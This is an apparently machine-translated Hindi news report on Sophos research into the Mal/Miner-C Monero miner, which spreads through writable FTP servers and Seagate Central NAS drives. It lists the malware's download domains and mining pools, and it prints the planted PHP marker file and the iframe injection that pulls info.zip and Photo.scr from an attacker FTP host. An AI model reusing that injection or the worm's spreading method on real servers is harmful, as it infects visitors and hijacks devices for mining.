🧑🏾‍🤝‍🧑🏼 🔀 👢 एक क्रिप्टो खननकर्ता ने दुनिया भर में हजारों NAS को संक्रमित किया है, प्रति दिन लगभग 428 यूरो का खनन ⛹️ 👎🏾 👩🏾‍🤝‍👨🏿

बिटकॉइन के आगमन के साथ, अन्य लोगों के पीसी पर क्रिप्टो खनिकों की छिपी स्थापना एक उत्कृष्ट व्यवसाय बन गई है। लेकिन वह तेजी से खनन जटिलता में वृद्धि के साथ गिरावट में चला गया। लगभग 2013 से, सीपीयू और यहां तक कि GPU पर खनन लगभग बेकार हो गया है , हर कोई ASIC में बदल गया है।

बिटकॉइन खनन की जटिलता में जून 2013 से सितंबर 2016 तक वृद्धि, कॉइनडेस्क चार्ट

यह प्रतीत होता है कि हमलावरों के लिए क्रिप्टो खनिकों के साथ मैलवेयर को छोड़ने और रैनसमवेयर पर स्विच करने का समय है। बहुतों ने ऐसा किया। लेकिन फिर नए क्रिप्टोकरेंसी दृश्य पर दिखाई दिए - और पुराने व्यापार मॉडल फिर से प्रभावी हो गए।

एंटीवायरस कंपनी सोफोस लैब्स के विशेषज्ञ एक नए क्रिप्टोकरंसी के बारे में बात करते हैं जो इंटरनेट से जुड़ी नेटवर्क ड्राइव (एनएएस) को संक्रमित करता है।

मैलवेयर नए Monero cryptocurrency (XMR) के लिए खनन करने में माहिर है । यह थोड़ी जटिलता के साथ एकमात्र नई मुद्रा नहीं है, लेकिन किसी कारण के लिए हमलावरों ने इसे चुना।

जैसा कि आप ग्राफ पर देख सकते हैं , मोनोरो खनन की कठिनाई लंबे समय तक स्थिर रही। यह सितंबर में ही तेजी से बढ़ गया, पता चला मैलवेयर पर सोफोस रिपोर्ट के प्रकाशन के बाद। अधिक उपयोगकर्ताओं ने मोनेरो के बारे में सीखा, इसलिए इसकी लोकप्रियता थोड़ी बढ़ गई (सुधार: जटिलता और मोनरो के पाठ्यक्रम में वृद्धि अन्य कारणों से हो सकती है)।

लेकिन जब Crypto miner सीगेट नेटवर्क ड्राइव में फैल रहा था, खनन जटिलता उसी स्तर पर बनी हुई थी।

जून वर्ष 2016 से सितंबर 2016 तक खनन Monero की जटिलता में वृद्धि, अनुसूची CoinWarz

मल / माइनर-सी

एंटी-वायरस कंपनी विशेषज्ञों का कहना है कि मल / माइनर-सी मैलवेयर अब तक लगातार समर्थित और सक्रिय है। इसके लेखक लगातार नए संस्करण जारी करते हैं, लेकिन ये सभी संस्करण नलसॉफ्ट स्क्रिप्टेबल इंस्टॉल सिस्टम (एनएसआईएस) का उपयोग करके बनाए गए हैं ।

इंस्टॉलेशन किट में सीपीयू और जीपीयू के साथ ही 32-बिट और विंडोज के 64-बिट संस्करणों के लिए माइनर के कई संस्करण शामिल हैं।

मैलवेयर सिस्टम के संस्करण की जांच करता है - और संबंधित निष्पादन योग्य फ़ाइल को ऑटोरन में जोड़ता है।

NSIS स्क्रिप्ट के नवीनतम संस्करण निम्न होस्ट से डाउनलोड किए गए हैं:

stafftest.ru
hrtests.ru
profetest.ru
testpsy.ru
pstests.ru
qptest.ru
prtests.ru
jobtests.ru
iqtesti.ru

अन्य बातों के अलावा, डाउनलोड करने योग्य दस्तावेज़ खनन पूल को इंगित करता है जहां काम के परिणाम भेजे जाने चाहिए।

stratum+tcp://mine.moneropool.com:3333
stratum+tcp://xmr.hashinvest.net:1111
stratum+tcp://monero.crypto-pool.fr:3333
stratum+tcp://mine.cryptoescrow.eu:3333

ऐसे भी वॉलेट हैं जिनसे खनन पूल पारिश्रमिक स्थानांतरित करता है।

यह क्रिप्टो ट्रोजन दिलचस्प है कि यह एक कीड़े की तरह फैलने की कोशिश करता है। एक प्रणाली से संक्रमित होने के बाद, वह मानक उपयोगकर्ता नाम और पासवर्ड के साथ बेतरतीब ढंग से उत्पन्न आईपी पते के लिए एफ़टीपी के माध्यम से खुद को कॉपी करने की कोशिश करता है। एफ़टीपी सर्वर पर एक बार, कीड़ा एक्सटेंशन .htm और .php के साथ फाइलों को संशोधित करता है, जिसमें फ़्रेम डाले जाते हैं जिससे यह Photo.scr और info.zip फ़ाइलों को डाउनलोड करने का प्रस्ताव है । जब एक वेब पेज खोला जाता है, तो उपयोगकर्ता के सामने "सेव अस ..." डायलॉग दिखाई देता है।

सीगेट एनएएस नेटवर्क ड्राइव संक्रमण

Mal / Miner-C मैलवेयर से संक्रमित सिस्टम की खोज करते समय, शोधकर्ताओं ने कुछ असामान्य खोज की। उन्होंने पाया कि कई सिस्टम w0000000t.php नामक फाइल से संक्रमित थे ।

फ़ाइल में एक पंक्ति है

<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?>

यदि सिस्टम सफलतापूर्वक संक्रमित है, तो इस फ़ाइल के लिए एक अनुरोध एक प्रतिक्रिया देता है:

nopenopenope

समझौता किए गए उपकरण के बारे में जानते हुए, बाद में मल / मिनेर-सी के साथ एक फ्रेम वहां स्थापित किया गया:

<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?>
<iframe src=ftp://ftp:shadow@196.xxx.xxx.76//info.zip width=1 height=1
frameborder=0>
</iframe>
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>

2016 के पहले छह महीनों में, एंटीवायरस कंपनी 3,150 आईपी पते पर 1,702,476 संक्रमित उपकरणों की पहचान करने में कामयाब रही।

जैसा कि यह निकला, विभिन्न नेटवर्क संलग्न भंडारण (एनएएस) के बीच, सीगेट सेंट्रल एनएएस सबसे अधिक प्रभावित था।

इस NAS में निजी (निजी) और खुले फ़ोल्डर हैं। दिलचस्प है, डिफ़ॉल्ट रूप से, फ़ाइलें एक खुले फ़ोल्डर में लिखी जाती हैं, और खाता हटाया या निष्क्रिय नहीं किया जा सकता है। व्यवस्थापक खाते से, आप डिवाइस तक रिमोट एक्सेस को सक्रिय कर सकते हैं, और फिर सभी एक्सेस रिमोट एक्सेस के लिए उपलब्ध हैं, जिसमें अनाम एक्सेस भी शामिल है। यह वही है जो हमलावर नेटवर्क संलग्न भंडारण के लिए अपने Photo.scr और info.zip फ़ाइलों को लिखने के लिए उपयोग करते हैं ।

आप इस खतरे से छुटकारा पा सकते हैं यदि आप डिवाइस तक रिमोट एक्सेस को अक्षम करते हैं, लेकिन तब उपयोगकर्ता इंटरनेट और अन्य उपयोगी नेटवर्क भंडारण कार्यों पर सामग्री को स्ट्रीम करने की क्षमता खो देगा।

साइबर अपराधियों के पर्स के बारे में जानते हुए, एंटी-वायरस कंपनी विशेषज्ञों ने लेनदेन के इतिहास का अध्ययन किया।

उदाहरण के लिए, यहां उनके किसी बटुए को भुगतान की राशि के साथ एक स्क्रीनशॉट है: 4912.4 एक्सएमआर।

सोफोस के अनुसार, खनन पूल ने 58 577 एक्सएमआर (शायद रूस से) लोगों को भुगतान किया। गणना के समय, यूरो के खिलाफ एक्सएमआर 1 एक्सएमआर के लिए 1.3 EUR था, अर्थात, उन्होंने लगभग 76 599 यूरो कमाए, और अभी भी प्रति दिन लगभग 428 यूरो कमाते हैं । रूसी छात्रों के लिए बुरा नहीं है अगर छात्रवृत्ति जीवित रहने के लिए पर्याप्त नहीं है।

मोनोरो क्रिप्टोक्यूरेंसी विशेष रूप से घुसपैठियों से ग्रस्त नहीं है: संक्रमित मशीनें कुल हैशट्रेट का केवल 2.5% उत्पन्न करती हैं।

मैलवेयर की व्यापकता का आकलन करने के लिए, विशेषज्ञों ने इंटरनेट पर एफ़टीपी सर्वर की स्थिति की जांच की। इसलिए, जनगणना खोज इंजन 2,137,571 एफ़टीपी-सर्वर जारी करता है, जिनमें से 207,110 गुमनाम रिमोट एक्सेस की अनुमति देता है, और 7,263 रिकॉर्डिंग की अनुमति देता है। तो, इन 7263 सर्वरों में से 5137 Mal / Miner-C से संक्रमित थे, अर्थात सभी 70% एफ़टीपी सर्वरों के बारे में।

यदि आपको लगता है कि आप अपने मामूली नेटवर्क ड्राइव के साथ आपराधिक दुनिया में दिलचस्पी नहीं रखते हैं, तो फिर से सोचने का एक मजबूत कारण है।

एक क्रिप्टो खननकर्ता ने दुनिया भर में हजारों NAS को संक्रमित किया है, प्रति दिन लगभग 428 यूरो का खनन

मल / माइनर-सी

सीगेट एनएएस नेटवर्क ड्राइव संक्रमण

More articles: